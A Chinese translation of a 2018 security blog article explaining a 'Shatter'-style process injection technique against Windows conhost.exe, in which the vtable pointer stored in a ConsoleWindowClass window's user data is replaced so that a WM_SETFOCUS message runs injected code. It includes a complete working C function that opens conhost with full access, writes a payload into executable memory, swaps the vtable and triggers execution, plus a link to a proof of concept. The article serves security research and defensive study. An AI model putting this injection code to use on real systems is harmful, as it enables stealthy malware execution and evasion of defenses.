如何针对Windows中ConsoleWindowClass对象实现进程注入

41yf1sh 技术 2018年10月6日发布
Favorite收藏

导语:本文所讲解的注入过程是“Shatter”攻击的另一种变体。与创建新线程的方法不同,这种方法是对窗口消息和回调函数进行了滥用,从而实现代码执行。

概述

每个窗口对象都支持用户数据(User Data),而用户数据则可以通过SetWindowLongPtr API和GWLP_USERDATA参数进行设置。窗口对象的用户数据通常只有部分内存,用于存储指向类对象的指针。对于控制台程序宿主(Console Window Host,Conhost)进程,其中通常会存储数据结构的地址。在结构中,包含窗口在桌面的当前位置、大小、对象句柄及具有控制控制台窗口行为的方法的类对象。

conhost.exe中的用户数据存储在具有可写权限的堆上。这样一来,它就可以用于进程注入,并且其过程非常类似于我之前讨论过的Extra Bytes方法( https://modexp.wordpress.com/2018/08/26/process-injection-ctray/ )。

ConsoleWindowClass

在下图中,我们可以看到控制台应用程序所使用的窗口对象的属性。请重点关注Window Proc字段为空的原因。用户数据字段指向虚拟地址,但它并不是位于在控制台应用程序之中。相反,用户数据结构位于控制台应用程序启动时由系统生成的conhost.exe进程中。

1.png

下图展现了窗口类的信息,高亮标注的是负责处理窗口消息的回调过程的地址。

2.png

调试conhost.exe

下图展示了连接到控制台主机的调试器,以及对用户数据值0x000001CB3836F580的转储。第一个64位值指向了方法(函数数组)的虚拟函数表。

3.png

下图展示了存储在虚拟函数表中的方法列表:

4.png

在覆盖任何内容之前,我们需要确定如何从外部应用程序触发这些方法的执行。具体来说,需要为虚拟函数表设置“中断访问”(Break On Access,ba),并向窗口发送消息。下图显示了发送WM_SETFOCUS消息后触发的断点。

5.png

现在,我们已经掌握如何触发执行。接下来,只需要劫持一个方法。在处理WM_SETFOCUS消息时,首先会调用GetWindowHandle。下图可以表明,此方法不需要任何参数,只需要从用户数据中返回一个窗口句柄。

6.png

虚拟函数表

以下结构定义了conhost用于控制控制台窗口行为的虚拟函数表。如果我们不使用GetWindowHandle(不带任何参数)之外的方法,就不需要为其中的每个方法定义原型。

typedef struct _vftable_t {
    ULONG_PTR     EnableBothScrollBars;
    ULONG_PTR     UpdateScrollBar;
    ULONG_PTR     IsInFullscreen;
    ULONG_PTR     SetIsFullscreen;
    ULONG_PTR     SetViewportOrigin;
    ULONG_PTR     SetWindowHasMoved;
    ULONG_PTR     CaptureMouse;
    ULONG_PTR     ReleaseMouse;
    ULONG_PTR     GetWindowHandle;
    ULONG_PTR     SetOwner;
    ULONG_PTR     GetCursorPosition;
    ULONG_PTR     GetClientRectangle;
    ULONG_PTR     MapPoints;
    ULONG_PTR     ConvertScreenToClient;
    ULONG_PTR     SendNotifyBeep;
    ULONG_PTR     PostUpdateScrollBars;
    ULONG_PTR     PostUpdateTitleWithCopy;
    ULONG_PTR     PostUpdateWindowSize;
    ULONG_PTR     UpdateWindowSize;
    ULONG_PTR     UpdateWindowText;
    ULONG_PTR     HorizontalScroll;
    ULONG_PTR     VerticalScroll;
    ULONG_PTR     SignalUia;
    ULONG_PTR     UiaSetTextAreaFocus;
    ULONG_PTR     GetWindowRect;
} ConsoleWindow;

用户数据结构

下图展示了用户数据结构,其总大小为104字节。由于默认情况下,分配的内容具有PAGE_READWRITE保护,所以可以使用包含Payload地址的副本,覆盖指向虚拟函数表的指针。

7.png

完整函数

该函数演示了在触发某些代码执行之前,如何借助重复来替换虚拟函数表。我们的测试过程使用了64位版本的Windows 10系统。

VOID conhostInject(LPVOID payload, DWORD payloadSize) {
    HWND          hwnd;
    LONG_PTR      udptr;
    DWORD         pid, ppid;
    SIZE_T        wr;
    HANDLE        hp;
    ConsoleWindow cw;
    LPVOID        cs, ds;
    ULONG_PTR     vTable;
   
    // 1. 获取控制台窗口的句柄和进程ID(PPID)
    //   (假设已经有一个在运行)
    hwnd = FindWindow(L"ConsoleWindowClass", NULL);
   
    GetWindowThreadProcessId(hwnd, &ppid);
 
    // 2. 获取主机进程的进程ID(PPID)
    pid = conhostId(ppid);
   
    // 3. 打开conhost.exe进程
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
 
    // 4. 分配RWX内存,并在相应位置复制Payload
    cs = VirtualAllocEx(hp, NULL, payloadSize,
      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
   
    // 5. 读取当前虚拟函数表的地址
    udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA);
    ReadProcessMemory(hp, (LPVOID)udptr,
        (LPVOID)&vTable, sizeof(ULONG_PTR), &wr);
   
    // 6. 将当前虚拟函数表读入本地内存
    ReadProcessMemory(hp, (LPVOID)vTable,
      (LPVOID)&cw, sizeof(ConsoleWindow), &wr);
     
    // 7. 为新虚拟函数表分配RW内存
    ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow),
      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 
    // 8. 使用Payload地址更新虚拟函数表的本地副本
    //    并写入远程进程
    cw.GetWindowHandle = (ULONG_PTR)cs;
    WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr);
 
    // 9. 更新远程进程中虚拟函数表的指针
    WriteProcessMemory(hp, (LPVOID)udptr, &ds,
      sizeof(ULONG_PTR), &wr);
 
    // 10. 触发Payload的执行
    SendMessage(hwnd, WM_SETFOCUS, 0, 0);
 
    // 11. 恢复指向原始虚拟函数表的指针
    WriteProcessMemory(hp, (LPVOID)udptr, &vTable,
      sizeof(ULONG_PTR), &wr);
   
    // 12. 释放内存并关闭句柄
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
   
    CloseHandle(hp);
}

总结

本文所讲解的注入过程是“Shatter”攻击的另一种变体。与创建新线程的方法不同,这种方法是对窗口消息和回调函数进行了滥用,从而实现代码执行。这里展示的方法仅适用于控制台窗口,或者更具体来说是ConsoleWindowClass对象。相关PoC请参见:https://github.com/odzhan/injection/tree/master/conhost

本文翻译自:https://modexp.wordpress.com/2018/09/12/process-injection-user-data/如若转载,请注明原文地址: http://www.4hou.com/technology/13634.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论